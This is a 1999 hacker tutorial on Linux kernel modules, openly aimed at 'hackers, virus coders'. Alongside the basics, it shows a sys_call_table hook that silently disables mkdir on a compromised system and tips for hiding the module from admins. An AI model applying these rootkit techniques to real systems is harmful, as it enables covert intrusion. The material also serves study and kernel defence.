

(nearly) Complete Linux Loadable Kernel Modules

-the definitive guide for hackers, virus coders and system administrators-

written by pragmatic / THC, version 1.0
released 03/1999

CONTENTS

[Introduction](#)

I. Basics

- [1. What are LKMs](#)
- [2. What are Syscalls](#)
- [3. What is the Kernel-Symbol-Table](#)
- [4. How to transform Kernel to User Space Memory](#)
- [5. Ways to use user space like functions](#)
- [6. List of daily needed Kernelpspace Functions](#)
- [7. What is the Kernel-Daemon](#)
- [8. Creating your own Devices](#)

II. Fun & Profit

- [1. How to intercept Syscalls](#)
- [2. Interesting Syscalls to Intercept](#)
 - [2.1 Finding interesting systemcalls \(the strace approach\)](#)
- [3. Confusing the kernel's System Table](#)
- [4. Filesystem related Hacks](#)
 - [4.1 How to Hide Files](#)
 - [4.2 How to hide the file contents \(totally\)](#)
 - [4.3 How to hide certain file parts \(a prototype implementation\)](#)
 - [4.4 How to monitor redirect file operations](#)
 - [4.5 How to avoid any file owner problems](#)
 - [4.6 How to make a hacker-tools-directory unaccessible](#)
 - [4.7 How to change CHROOT Environments](#)
- [5. Process related Hacks](#)

[5.1 How to hide any process](#)

[5.2 How to redirect Execution of files](#)

[6. Network \(Socket\) related Hacks](#)

[6.1 How to controll Socket Operations](#)

[7. Ways to TTY Hijacking](#)

[8. Virus writing with LKMs](#)

[8.1 How a LKM virus can infect any file \(not just modules; prototype\)](#)

[8.2 How can a LKM virus help us to get in](#)

[9. Making our LKM invisible & unremovable](#)

[10. Other ways of abusing the Kerneldaemon](#)

[11. How to check for presents of our LKM](#)

III. Soltutions (for admins)

[1. LKM Detector Theory & Ideas](#)

[1.1 Practical Example of a prototype Detector](#)

[1.2 Practical Example of a prototype password protected create_module\(...\)](#)

[2. Anti-LKM-Infector ideas](#)

[3. Make your programs untraceable \(theory\)](#)

[3.1 Practical Example of a prototype Anti-Tracer](#)

[4. Hardening the Linux Kernel with LKMs](#)

[4.1 Why should we allow arbitrary programs execution rights? \(route's idea from Phrack implemented as LKM\)](#)

[4.2 The Link Patch \(Solar Designer's idea from Phrack implemented as LKM\)](#)

[4.3 The /proc permission patch \(route's idea from Phrack implemented as LKM\)](#)

[4.4 The securelevel patch \(route's idea from Phrack implemented as LKM\)](#)

[4.5 The rawdisk patch](#)

IV. Some Better Ideas (for hackers)

[1. Tricks to beat admin LKMs](#)

[2. Patching the whole kernel - or creating the Hacker-OS](#)

[2.1 How to find kernel symbols in /dev/kmem](#)

[2.2 The new 'insmod' working without kernel support](#)

[3. Last words](#)

V. The near future : Kernel 2.2

[1. Main Difference for LKM writer's](#)

VI. Last Words

[1. The 'LKM story' or 'how to make a system plug & hack compatible'](#)

[2. Links to other Resources](#)

[Acknowledgements](#)

[Greetings](#)

Appendix

A - Source Codes

[a\) LKM Infection *by Stealthf0rk/SVAT*](#)

[b\) Heroin - the classic one *by Runar Jensen*](#)

[c\) LKM Hider / Socket Backdoor *by plaguez*](#)

[d\) LKM TTY hijacking *by halflife*](#)

[e\) AFHRM - the monitor tool *by Michal Zalewski*](#)

[f\) CHROOT module trick *by FLoW/HISPAHACK*](#)

[g\) Kernel Memory Patching *by ?*](#)

[h\) Module insertion without native support *by Silvio Cesare*](#)

Introduction

The use of Linux in server environments is growing from second to second. So hacking Linux becomes more interesting every day. One of the best techniques to attack a Linux system is using kernel code. Due to its feature called Loadable Kernel Modules (LKMs) it is possible to write code running in kernel space, which allows us to access very sensitive parts of the OS. There were some texts and files concerning LKM hacking before (Phrack, for example) which were very good. They introduced new ideas, new methods and complete LKMs doing anything a hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists) in 1998 were very interesting.

So why do I write again a text about LKMs. Well there are several reasons :

- former texts did sometimes not give good explanations for kernel beginners; this text has a very big basic section, helping beginners to understand the concepts. I met lots of people using nice exploits/sniffers and so on without even understanding how they work. I included lots of source code in this file with lots of comments, just to help those beginners who know that hacking is more than playing havoc on some networks out there !
- every published text concentrated on a special subject, there was no complete guide for hackers

- concerning LKMs. This text will cover nearly every aspect of kernel abusing (even virus aspects)
- this text was written from the hacker / virus coder perspective, but it will also help admins and normal kernel developers doing a better job
- former text showed us the main advantages / methods of abusing LKMs, but there are some things which we have not heard of yet. This text will show some new ideas (nothing totally new, but things which could help us)
- this text will show concepts of some simple ways to protect from LKM attacks
- this text will also show how to defeat LKM protections by using methods like Runtime Kernel Patching

Please remember that new ideas are implemented as prototype modules (just for demonstration) which have to be improved in order to use them in the wild.

The main motivation of this text is giving everyone *one* big text covering the whole LKM problem. In appendix A I give you some existing LKMs plus a short description of their working (for beginners) and ways to use them.

The whole text (except part V) is based on a Linux 2.0.x machine (x86). I tested all programs and code fragments. The Linux system must have LKM support for using most code examples in this text. Only part IV will show some sources working without native LKM support. Most ideas in this text will also work on 2.2.x systems (perhaps you'll need some minor modification); but recall that kernel 2.2.x was just released (1/99) and most linux distribution still use 2.0.x (Redhat, SuSE, Caldera, ...). In April some distributors like SuSE will present their kernel 2.2.x versions; so you won't need to know how to hack a 2.2.x kernel at the moment. Good administrators will also wait some months in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't need kernel 2.2.x so they will continue using 2.0.x].

This text has a special section dealing with LKMs helping admins to secure the system. You (hacker) should also read this section, you *must* know everything the admins know and even more. You will also get some nice ideas from that section that could help you develop more advanced 'hacker-LKMs'. Just read the whole text !

And please remember : This text was only written for educational purpose. Any illegal action based on this text is your own problem.

I. Basics

1. What are LKMs

LKMs are Loadable Kernel Modules used by the Linux kernel to expand his functionality. The advantage of those LKMs : *The can be loaded dynamically*; there must be no recompilation of the whole kernel. Because of those features they are often used for specific device drivers (or filesystems) such as soundcards etc.

Every LKM consist of two basic functions (minimum) :

```
int init_module(void) /*used
for all initialition stuff*/
{
```

```
...
}
```

```
void cleanup_module(void) /*used for a clean shutdown*/
{
...
}
```

Loading a module - normally restricted to root - is managed by issuing the following command: #

```
insmod module.o
```

This command forces the System to do the following things :

- Load the objectfile (here module.o)
- call `create_module` syscall (for systemcalls -> see I.2) for Relocation of memory
- unresolved references are resolved by Kernel-Symbols with the syscall `get_kernel_syms`
- after this the `init_module` syscall is used for the LKM initialisation -> executing `int init_module(void)` etc.

The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).

So I think we can write our first little LKM just showing how it basically works: #define MODULE
#include <Linux/module.h>

```
int init_module(void)
{
    printk("<1>Hello World\n");
    return 0;
}
```

```
void cleanup_module(void)
{
    printk("<1>Bye, Bye");
}
```

You may wonder why I used `printk(...)` not `printf(...)`. Well *Kernel-Programming* is totally different from *Userspace-Programming* !

You only have a very restricted set of commands (see I.6). With those commands you cannot do much, so you will learn how to use lots of functions you know from your userspace applications helping you hacking the kernel. Just be patient, we have to do something else before...

The Example above can easily be compiled by # `gcc -c -O3 helloworld.c`
`insmod helloworld.o`

Ok, our module is loaded and showed us the famous text. Now you can check some commands showing you that your LKM really stays in kernel space.

```
# lsmod
```

```
Module                Pages      Used by
```

```
helloworld          1          0
```

This command reads the information in `/proc/modules` for showing you which modules are loaded at the moment. 'Pages' is the memory information (how many pages does this module fill); the 'Used by' field tells us how often the module is used in the System (reference count). The module can only be removed, when this counter is zero; after checking this, you can remove your module with `# rmmod`

```
helloworld
```

Ok, this was our first little (very little) step towards abusing LKMs. I always compared those LKMs to old DOS TSR Programs (yes there are many differences, I know), they were our gate to staying resident in memory and catching every interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is also similar to LKMs (also many differences). The most interesting part of those resident programs is the ability to hook system functions, in the Linux world called systemcalls.

2. What are systemcalls

I hope you know, that every OS has some functions build into its kernel, which are used for every operation on that system.

The functions Linux uses are called systemcalls. They represent a transition from user to kernel space. Opening a file in user space is represented by the `sys_open` systemcall in kernel space. For a complete list of all systemcalls available on your System look at `/usr/include/sys/syscall.h`. The following list

```
shows my syscall.h #ifndef          _SYS_SYSCALL_H
#define _SYS_SYSCALL_H

#define SYS_setup                    0 /* Used only by init, to get system
going. */
#define SYS_exit                     1
#define SYS_fork                     2
#define SYS_read                     3
#define SYS_write                    4
#define SYS_open                     5
#define SYS_close                    6
#define SYS_waitpid                  7
#define SYS_creat                    8
#define SYS_link                     9
#define SYS_unlink                   10
#define SYS_execve                   11
#define SYS_chdir                    12
#define SYS_time                     13
#define SYS_prev_mknod               14
#define SYS_chmod                    15
#define SYS_chown                    16
#define SYS_break                    17
#define SYS_oldstat                  18
#define SYS_lseek                    19
```

#define SYS_getpid	20
#define SYS_mount	21
#define SYS_umount	22
#define SYS_setuid	23
#define SYS_getuid	24
#define SYS_stime	25
#define SYS_ptrace	26
#define SYS_alarm	27
#define SYS_oldfstat	28
#define SYS_pause	29
#define SYS_utime	30
#define SYS_stty	31
#define SYS_gtty	32
#define SYS_access	33
#define SYS_nice	34
#define SYS_ftime	35
#define SYS_sync	36
#define SYS_kill	37
#define SYS_rename	38
#define SYS_mkdir	39
#define SYS_rmdir	40
#define SYS_dup	41
#define SYS_pipe	42
#define SYS_times	43
#define SYS_prof	44
#define SYS_brk	45
#define SYS_setgid	46
#define SYS_getgid	47
#define SYS_signal	48
#define SYS_geteuid	49
#define SYS_getegid	50
#define SYS_acct	51
#define SYS_phys	52
#define SYS_lock	53
#define SYS_ioctl	54
#define SYS_fcntl	55
#define SYS_mpx	56
#define SYS_setpgid	57
#define SYS_ulimit	58
#define SYS_oldolduname	59
#define SYS_umask	60
#define SYS_chroot	61
#define SYS_prev_ustat	62

#define SYS_dup2	63
#define SYS_getppid	64
#define SYS_getpgrp	65
#define SYS_setsid	66
#define SYS_sigaction	67
#define SYS_siggetmask	68
#define SYS_sigsetmask	69
#define SYS_setreuid	70
#define SYS_setregid	71
#define SYS_sigsuspend	72
#define SYS_sigpending	73
#define SYS_sethostname	74
#define SYS_setrlimit	75
#define SYS_getrlimit	76
#define SYS_getrusage	77
#define SYS_gettimeofday	78
#define SYS_settimeofday	79
#define SYS_getgroups	80
#define SYS_setgroups	81
#define SYS_select	82
#define SYS_symlink	83
#define SYS_oldlstat	84
#define SYS_readlink	85
#define SYS_uselib	86
#define SYS_swapon	87
#define SYS_reboot	88
#define SYS_readdir	89
#define SYS_mmap	90
#define SYS_munmap	91
#define SYS_truncate	92
#define SYS_ftruncate	93
#define SYS_fchmod	94
#define SYS_fchown	95
#define SYS_getpriority	96
#define SYS_setpriority	97
#define SYS_profil	98
#define SYS_statfs	99
#define SYS_fstatfs	100
#define SYS_ioperm	101
#define SYS_socketcall	102
#define SYS_klog	103
#define SYS_setitimer	104
#define SYS_getitimer	105

```
#define SYS_prev_stat      106
#define SYS_prev_lstat     107
#define SYS_prev_fstat     108
#define SYS_olduname       109
#define SYS_iopl           110
#define SYS_vhangup        111
#define SYS_idle           112
#define SYS_vm86old        113
#define SYS_wait4          114
#define SYS_swapoff        115
#define SYS_sysinfo        116
#define SYS_ipc            117
#define SYS_fsync          118
#define SYS_sigreturn      119
#define SYS_clone          120
#define SYS_setdomainname  121
#define SYS_uname          122
#define SYS_modify_ldt     123
#define SYS_adjtimex       124
#define SYS_mprotect       125
#define SYS_sigprocmask    126
#define SYS_create_module  127
#define SYS_init_module    128
#define SYS_delete_module  129
#define SYS_get_kernel_syms 130
#define SYS_quotactl       131
#define SYS_getpgid        132
#define SYS_fchdir         133
#define SYS_bdflush        134
#define SYS_sysfs          135
#define SYS_personality    136
#define SYS_afs_syscall    137 /* Syscall for Andrew File System
*/
#define SYS_setfsuid       138
#define SYS_setfsgid       139
#define SYS__llseek        140
#define SYS_getdents       141
#define SYS__newselect     142
#define SYS_flock          143
#define SYS_syscall_flock  SYS_flock
#define SYS_msync          144
#define SYS_readv          145
#define SYS_syscall_readv  SYS_readv
```

```

#define SYS_writev          146
#define SYS_syscall_writev SYS_writev
#define SYS_getsid         147
#define SYS_fdatasync      148
#define SYS__sysctl        149
#define SYS_mlock          150
#define SYS_munlock        151
#define SYS_mlockall       152
#define SYS_munlockall     153
#define SYS_sched_setparam 154
#define SYS_sched_getparam 155
#define SYS_sched_setscheduler 156
#define SYS_sched_getscheduler 157
#define SYS_sched_yield    158
#define SYS_sched_get_priority_max 159
#define SYS_sched_get_priority_min 160
#define SYS_sched_rr_get_interval 161
#define SYS_nanosleep      162
#define SYS_mremap         163
#define SYS_setresuid      164
#define SYS_getresuid      165
#define SYS_vm86           166
#define SYS_query_module   167
#define SYS_poll           168
#define SYS_syscall_poll   SYS_poll

```

```
#endif /* <sys/syscall.h> */
```

Every systemcall has a defined number (see listing above), which is actually used to make the systemcall. The Kernel uses interrupt 0x80 for managing every systemcall. The systemcall number and any arguments are moved to some registers (eax for systemcall number, for example).

The systemcall number is an index in an array of a kernel structure called `sys_call_table[]`. This structure maps the systemcall numbers to the needed service function.

Ok, this should be enough knowledge to continue reading. The following table lists the most interesting systemcalls plus a short description. Believe me, you have to know the exact working of those systemcalls in order to make really useful LKMs.

systemcall	description
<code>int sys_brk(unsigned long new_brk);</code>	changes the size of used DS (data segment) - >this systemcall will be discussed in I.4
<code>int sys_fork(struct pt_regs regs);</code>	systemcall for the well-know <code>fork()</code> function in user space

int sys_getuid () int sys_setuid (uid_t uid) ...	systemcalls for managing UID etc.
int sys_get_kernel_syms(struct kernel_sym *table)	systemcall for accessing the kernel system table (-> I.3)
int sys_sethostname (char *name, int len); int sys_gethostname (char *name, int len);	sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving it
int sys_chdir (const char *path); int sys_fchdir (unsigned int fd);	both function are used for setting the current directory (cd ...)
int sys_chmod (const char *filename, mode_t mode); int sys_chown (const char *filename, mode_t mode); int sys_fchmod (unsigned int fildes, mode_t mode); int sys_fchown (unsigned int fildes, mode_t mode);	functions for managing permissions and so on
int sys_chroot (const char *filename);	sets root directory for calling process
int sys_execve (struct pt_regs regs);	important systemcall -> it is responsible for executing file (pt_regs is the register stack)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);	changing characteristics of fd (opened file descr.)
int sys_link (const char *oldname, const char *newname); int sym_link (const char *oldname, const char *newname); int sys_unlink (const char *name);	systemcalls for hard- / softlinks management
int sys_rename (const char *oldname, const char *newname);	file renaming
int sys_rmdir (const char* name); int sys_mkdir (const *char filename, int mode);	creating & removing directories
int sys_open (const char *filename, int mode); int sys_close (unsigned int fd);	everything concereng opening files (also creation), and also closing them
int sys_read (unsigned int fd, char *buf, unsigned int count); int sys_write (unsigned int fd, char *buf, unsigned int count);	systemcalls for writing & reading from Files
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);	systemcall which retrieves file listing (ls ... command)
int sys_readlink (const char *path, char *buf, int bufsize);	reading symbolic links

<code>int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);</code>	multiplexing of I/O operations
<code>sys_socketcall (int call, unsigned long args);</code>	socket functions
<code>unsigned long sys_create_module (char *name, unsigned long size);</code> <code>int sys_delete_module (char *name);</code> <code>int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);</code>	used for loading / unloading LKMs and querying

In my opinion these are the most interesting systemcalls for any hacking intention, of course it is possible that you may need something special on your rooted system, but the average hacker has a plenty of possibilities with the listing above. In part II you will learn how to use the systemcalls for your profit.

3. What is the Kernel-Symbol-Table

Ok, we understand the basic concept of systemcalls and modules. But there is another very important point we need to understand - the Kernel Symbol Table. Take a look at `/proc/ksyms`. Every entry in this file represents an exported (public) Kernel Symbol, which can be accessed by our LKM. Take a deep look in that file, you will find many interesting things in it.

This file is really very interesting, and can help us to see what our LKM can get; but there is one problem. Every Symbol used in our LKM (like a function) is also exported to the public, and is also listed in that file. So an experienced admin could discover our little LKM and kill it.

There are lots of methods to prevent the admin from seeing our LKM, look at section II.

The methods mentioned in II can be called 'Hacks', but when you take a look at the contents of section II you won't find any reference to 'Keeping LKM Symbols out of `/proc/ksyms`'. The reason for not mentioning this problem in II is the following :

you won't need a trick to keep your module symbols away from `/proc/ksyms`. LKM developers are able to use the following piece of regular code to limit the exported symbols of their module:

```
static struct symbol_table module_syms= { /*we define our own symbol
table !*/
#include <linux/symtab_begin.h>          /*symbols we want to
export, do we ?*/
...
};
```

```
register_symtab(&module_syms);          /*do the actual
registration*/
```

As I said, we don't want to export any symbols to the public, so we use the following construction :

```
register_symtab(NULL);
```

This line must be inserted in the `init_module()` function, remember this !

4. How to transform Kernel to User Space Memory

Till now this essay was very very basic and easy. Now we come to stuff more difficult (but not more advanced).

We have many advantages because of coding in kernel space, but we also have some disadvantages. systemcalls get their arguments from user space (systemcalls are implemented in wrappers like libc), but our LKM runs in kernel space. In section II you will see that it is very important for us to check the arguments of certain systemcalls in order to act the right way. But how can we access an argument allocated in user space from our kernel space module ?

Solution : We have to make a *transition*.

This may sound a bit strange for non-kernel-hackers, but is really easy. Take the following systemcall :

```
int sys_chdir (const char *path)
```

Imagine the system calling it, and we intercept that call (we will learn this in section II). We want to check the path the user wants to set, so we have to access const char *path. If you try to access the path variable directly like `printf("<1>%s\n", path);`

you will get *real* problems...

Remember you are in kernel space, you *cannot* read user space memory easily. Well in Phrack 52 you get a solution by plaguez, which is specialized for strings He uses a kernel mode function (macro) for retrieving user space memory bytes : `#include <asm/segment.h>`

```
get_user(pointer);
```

Giving this function a pointer to our *path location helps ous getting the bytes from user space memory to kernel space. Look at the implemtation made by plaguez for moving strings from user to kernel space:

```
char *strncpy_fromfs(char *dest, const char *src, int n)
{
    char *tmp = src;
    int compt = 0;

    do {
        dest[compt++] = __get_user(tmp++, 1);
    }
    while ((dest[compt - 1] != '\0') && (compt != n));

    return dest;
}
```

If we want to convert our *path variable we can use the following piece of kernel code : `char *kernel_space_path;`

```
kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating
memory                                                    in kernel
space*/
(void) strncpy_fromfs(test, path, 20); /*calling
```

plaguez's

```

    printk("<l>%s\n", kernel_space_path);
use
whatever we

    kfree(test);
freeing the

function*/
/*now we can

the data for

want*/
/*remember

memory*/

```

The code above works very fine. For a general transition it is too complicated; plaguez used it only for strings (the functions is made only for string copies). For normal data transitions the following function is the easiest way of doing: `#include <asm/segment.h>`

```
void memcpy_fromfs(void *to, const void *from, unsigned long count);
```

Both functions are obviously based on the same kind of commands, but the second one is nearly the same as plaguez's newly defined function. I would recommand using `memcpy_fromfs(...)` for general data transitions and plaguez's one for string copying tasks.

Now we know how to convert *from* user space memory *to* kernel space. But what about the other direction ? This is a bit harder, because we cannot easily allocate user space memory from our kernel space position. If we could manage this problem we could use

```

#include <asm/segment.h>
void memcpy_tofs(void *to, const void *from, unsigned long count);
doing the actual converting. But how to allocate user space for the *to pointer? plaguez's Phrack essay
gives us the best solution : /*we need brk syscall*/
static inline _syscall1(int, brk, void *, end_data_segment);

```

...

```

int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;

mmm = current->mm->brk;
ret = brk((void *) (mmm + 256));
if (ret < 0)
    return ret;
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);

```

This is a very nice trick used here. `current` is a pointer to the task structure of the current process; `mm` is the pointer to the `mm_struct` - responsible for the memory management of that process. By using the `brk-systemcall` on `current->mm->brk` we are able to increase the size of the unused area of the datasegment. And as we all know allocating memory is done by playing with the datasegment, so by increasing the unused area size, we have allocated some piece of memory for the current process. This memory can be

used for copying the kernel space memory to user space (of the current process).

You may wonder about the first line from the code above. This line helps us to use user space like functions in kernel space. Every user space function provided to us (like fork, brk, open, read, write, ...) is represented by a `_syscall(...)` macro. So we can construct the exact syscall-macro for a certain user space function (represented by a `systemcall`); here for `brk(...)`.

See I.5 for a detailed explanation.

5. Ways to use user space like functions

As you saw in I.4 we used a `syscall` macro for constructing our own `brk` call, which is like the one we know from user space (`->brk(2)`). The truth about the user space library functions (not all) is that they all are implemented through such `syscall` macros. The following code shows the `_syscall1(..)` macro used in I.4 to construct the `brk(..)` function (taken from `/asm/unistd.h`).

```
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name), "b" ((long)(arg1))); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}
```

You don't need to understand this code in its full function, it just calls interrupt 0x80 with the arguments provided by the `_syscall1` parameters (`-> I.2`). `name` stands for the systemcall we need (the name is expanded to `__NR_name`, which is defined in `/asm/unistd.h`). This way we implemented the `brk` function. Other functions with a different count of arguments are implemented through other macros (`_syscallX`, where `X` stands for the number of arguments).

I personally use another way of implementing functions; look at the following example: `int (*open)(char *, int, int); /*declare a prototype*/`

```
open = sys_call_table[SYS_open]; /*you can also use __NR_open*/
```

This way you don't need to use any `syscall` macro, you just use the function pointer from the `sys_call_table`. While searching the web, I found that this way of constructing user space like functions is also used in the famous LKM infector by SVAT. In my opinion this is the better solution, but test it and judge yourself.

Be careful when supplying arguments for those systemcalls, they need them in user space not from your kernel space position. Read I.4 for ways to bring your kernel space data to user space memory.

A very easy way doing this (the best way in my opinion) is playing with the needed registers. You have to know that Linux uses segment selectors to differentiate between kernel space, user space and so on. Arguments used with systemcalls which were issued from user space are somewhere in the data segment

selector (DS) range. [I did not mention this in I.4, because it fits more in this section.]

DS can be retrieved by using `get_ds()` from `asm/segment.h`. So the data used as parameters by systemcalls can only be accessed from kernel space if we set the segment selector used for the user segment by the kernel to the needed DS value. This can be done by using `set_fs(...)`. But be careful, you have to restore FS after you accessed the argument of the systemcall. So let's look at a code fragment showing something useful :

->filename is in our kernel space; a string we just created, for example

```
unsigned long old_fs_value=get_fs();
```

```
set_fs(get_ds);                /*after this we can access the user
space data*/
```

```
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
```

```
set_fs(old_fs_value);         /*restore fs...*/
```

In my opinion this is the easiest / fastest way of solving the problem, but test it yourself (again).

Remember that the functions I showed till now (`brk`, `open`) are all implemented through a single systemcall. But there are also groups of user space functions which are summarized into one systemcall.

Take a look at the listing of interesting systemcalls (I.2); the `sys_socketcall`, for example, implements every function concerning sockets (creation, closing, sending, receiving,...). So be careful when constructing your functions; always take a look at the kernel sources.

6. List of daily needed Kerneldspace Functions

I introduced the `printk(..)` function in the beginning of this text. It is a function everyone can use in kernel space, it is a so called kernel function. Those functions are made for kernel developers who need complex functions which are normally only available through a library function. The following listing shows the most important kernel functions we often need :

function/macro	description
<code>int sprintf (char *buf, const char *fmt, ...);</code> <code>int vsprintf (char *buf, const char *fmt, va_list args);</code>	functions for packing data into strings
<code>printk (...)</code>	the same as <code>printf</code> in user space
<code>void *memset (void *s, char c, size_t count);</code> <code>void *memcpy (void *dest, const void *src, size_t count);</code> <code>char *bcopy (const char *src, char *dest, int count);</code> <code>void *memmove (void *dest, const void *src, size_t count);</code> <code>int memcmp (const void *cs, const void *ct, size_t count);</code> <code>void *memscan (void *addr, unsigned char c, size_t size);</code>	memory functions
<code>int register_syntab (struct symbol_table *intab);</code>	see I.1

<pre>char *strcpy (char *dest, const char *src); char *strncpy (char *dest, const char *src, size_t count); char *strcat (char *dest, const char *src); char *strncat (char *dest, const char *src, size_t count); int strcmp (const char *cs, const char *ct); int strncmp (const char *cs, const char *ct, size_t count); char *strchr (const char *s, char c); size_t strlen (const char *s); size_t strlen (const char *s, size_t count); size_t strspn (const char *s, const char *accept); char *strpbrk (const char *cs, const char *ct); char *strtok (char *s, const char *ct);</pre>	string compare functions etc.
<pre>unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base);</pre>	converting strings to number
<pre>get_user_byte (addr); put_user_byte (x, addr); get_user_word (addr); put_user_word (x, addr); get_user_long (addr); put_user_long (x, addr);</pre>	functions for accessing user memory
<pre>suser(); fsuser();</pre>	checking for SuperUser rights
<pre>int register_chrdev (unsigned int major, const char *name, struct file_operations *fops); int unregister_chrdev (unsigned int major, const char *name); int register_blkdev (unsigned int major, const char *name, struct file_operations *fops); int unregister_blkdev (unsigned int major, const char *name);</pre>	functions which register device driver ..._chrdev -> character devices ..._blkdev -> block devices

Please remember that some of those function may also be made available through the method mentoined in I.5. But you should understand, that it is not very useful constructing nice user space like functions, when the kernel gives them to us for free.

Later on you will see that these functions (especially string comaprison) are very important for our purposes.

7. What is the Kernel-Daemon

Finally we nearly reached the end of the basic part. Now I will explain the working of the Kernel-Daemon (/sbin/kerneld). As the name suggest this is a process in user space waiting for some action. First of all you must know that it is necessary to activite the kerneld option while building the kernel, in order to use kerneld's features. Kerneld works the following way : If the kernel wants to access a resource (in kernel space of course), which is not present at that moment, he does *not* produce an error.

Instead of doing this he asks kerneld for that resource. If kerneld is able to provide the resource, it loads the required LKM and the kernel can continue working. By using this scheme it is possible to load and unload LKMs only when they are really needed / not needed. It should be clear that this work needs to be done both in user and in kernel space.

Kerneld exists in user space. If the kernel requests a new module this daemon receives a string from the kernel telling it which module to load. It is possible that the kernel sends a generic name (instead of the name of object file) like eth0. In this case the system needs to lookup /etc/modules.conf for alias lines. Those lines match generic names to the LKM required on that system.

The following line says that eth0 is represented by a DEC Tulip driver LKM :

```
# /etc/modules.conf          # or /etc/conf.modules - this differs
alias eth0 tulip
```

This was the user space side represented by the kerneld daemon. The kernel space part is mainly represented by 4 functions. These functions are all based on a call to kerneld_send. For the exact way kerneld_send is involved by calling those functions look at linux/kerneld.h. The following table lists the 4 functions mentioned above :

function	description
int sprintf (char *buf, const char *fmt, ...); int vsprintf (char *buf, const char *fmt, va_list args);	functions for packing data into strings
int request_module (const char *name);	says kerneld that the kernel requires a certain module (given a name or generic ID / name)
int release_module (const char* name, int waitflag);	unload a module
int delayed_release_module (const char *name);	delayed unload
int cancel_release_module (const char *name);	cancel a call of delayed_release_module

Note : Kernel 2.2 uses another scheme for requesting modules. Take a look at part V.

8. Creating your own Devices

Appendix A introduces a TTY Hijacking util, which will use a device to log its results. So we have to look at a very basic example of a device driver. Look at the following code (this is a very basic driver, I just wrote it for demonstration, it does not implement nearly no operations...):

```
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
```

```
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

/*just a dummy for demonstration*/
static int driver_open(struct inode *i, struct file *f)
{
    printk("<l>Open Function\n");
    return 0;
}

/*register every function which will be provided by our driver*/
static struct file_operations fops = {
NULL,                /*lseek*/
NULL,                /*read*/
NULL,                /*write*/
NULL,                /*readdir*/
NULL,                /*select*/
NULL,                /*ioctl*/
NULL,                /*mmap*/
driver_open,        /*open, take a look at my dummy open function*/
NULL,                /*release*/
NULL                 /*fsync...*/
};

int init_module(void)
{
    /*register driver with major 40 and the name driver*/
    if(register_chrdev(40, "driver", &fops)) return -EIO;
    return 0;
}

void cleanup_module(void)
{
    /*unregister our driver*/
    unregister_chrdev(40, "driver");
}
```

}

The most important important function is `register_chrdev(...)` which registers our driver with the major number 40. If you want to access this driver, do the following: `# mknode /dev/driver c 40 0`

```
# insmod driver.o
```

After this you can access that device (but i did not implement any functions due to lack of time...). The `file_operations` structure provides every function (operation) which our driver will provide to the system. As you can see I did only implement a very (!) basic dummy function just printing something. It should be clear that you can implement your own devices in a very easy way by using the methods above. Just do some experiments. If you log some data (key strokes, for example) you can build a buffer in your driver that exports its contents through the device interface).

II. Fun & Profit

1. How to intercept Syscalls

Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel (especially hardware drivers). Our 'Hacks' will do something different, they will intercept systemcalls and modify them in order to change the way the system reacts on certain commands.

The following module makes it impossible for any user on the compromised system to create directories. This is just a little demonstration to show the way we follow.

```
#define MODULE
#define __KERNEL__
```

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
```

```
extern void* sys_call_table[];          /*sys_call_table is exported, so
we                                       can access it*/
```

```

int (*orig_mkdir)(const char *path); /*the original syscall*/

int hacked_mkdir(const char *path)
{
    return 0; /*everything is ok, but the new
syscall
does nothing*/
}

int init_module(void) /*module setup*/
{
    orig_mkdir=sys_call_table[SYS_mkdir];
    sys_call_table[SYS_mkdir]=hacked_mkdir;
    return 0;
}

void cleanup_module(void) /*module shutdown*/
{
    sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the
origal
one*/
}

```

Compile this module and start it (see I.1). Try to make a directory, it will not work. Because of returning 0 (standing for OK) we don't get an error message. After removing the module making directories is possible again. As you can see, we only need to change the corresponding entry in `sys_call_table` (see I.2) for intercepting a kernel syscall.

The general approach to intercepting a syscall is outlined in the following list :

- find your syscall entry in `sys_call_table[]` (take a look at `include/sys/syscall.h`)
- save the old entry of `sys_call_table[X]` in a function pointer (where X stands for the syscall number you want to intercept)
- save the address of the new (hacked) syscall you defined yourself by setting `sys_call_table[X]` to the needed function address

You will recognize that it is very useful to save the old syscall function pointer, because you will need it in your hacked one for emulating the original call. The first question you have to face when writing a 'Hack-LKM' is :

'Which syscall should I intercept?'

2. Interesting Syscalls to Intercept

Perhaps you are not a 'kernel god' and you don't know every syscall for every user space function an application or command can use. So I will give you some hints on finding your syscalls to take control over.

- a. read source code. On systems like Linux you can have the source code on nearly any program a user (admin) can use. Once you have found a basic function like dup, open, write, ... go to b
- b. take a look at include/sys/syscall.h (see I.2). Try to find a directly corresponding syscall (search for dup -> you will find SYS_dup; search for write -> you will find SYS_write; ...). If this does not work go to c
- c. some calls like socket, send, receive, ... are implemented through one syscall - as I said before. Take a look at the include file mentioned for related syscalls.

